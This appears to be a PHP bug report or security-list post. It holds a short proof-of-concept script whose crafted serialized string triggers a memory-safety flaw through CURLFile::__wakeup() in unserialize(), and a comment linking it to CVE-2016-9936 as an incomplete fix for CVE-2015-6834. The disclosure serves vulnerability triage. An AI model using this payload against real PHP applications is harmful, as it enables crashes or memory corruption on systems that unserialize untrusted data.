This bug can be triggered with CURLFile::__wakeup()

PoC:
```
<?php

class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

$inner = 's:4:"ryat";';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;O:8:"CURLFile":1:{s:4:"name";R:3;}}';
try {
	unserialize($exploit);
} catch (Exception $e) {
	var_dump($e->getMessage());
}
for ($i = 0; $i < 5; $i++) {
	$v[$i] = 'hi'.$i;
}

?>
```

Looks like needing a CVE since triggering code is pretty common.

se CVE-2016-9936. The b2af4e8868726a040234de113436c6e4f6372d17 commit
message is "Complete the fix of bug #70172 for PHP 7." Because 70172
is referenced by CVE-2015-6834, it is possible to say that
CVE-2016-9936 exists because of an incomplete fix for CVE-2015-6834.
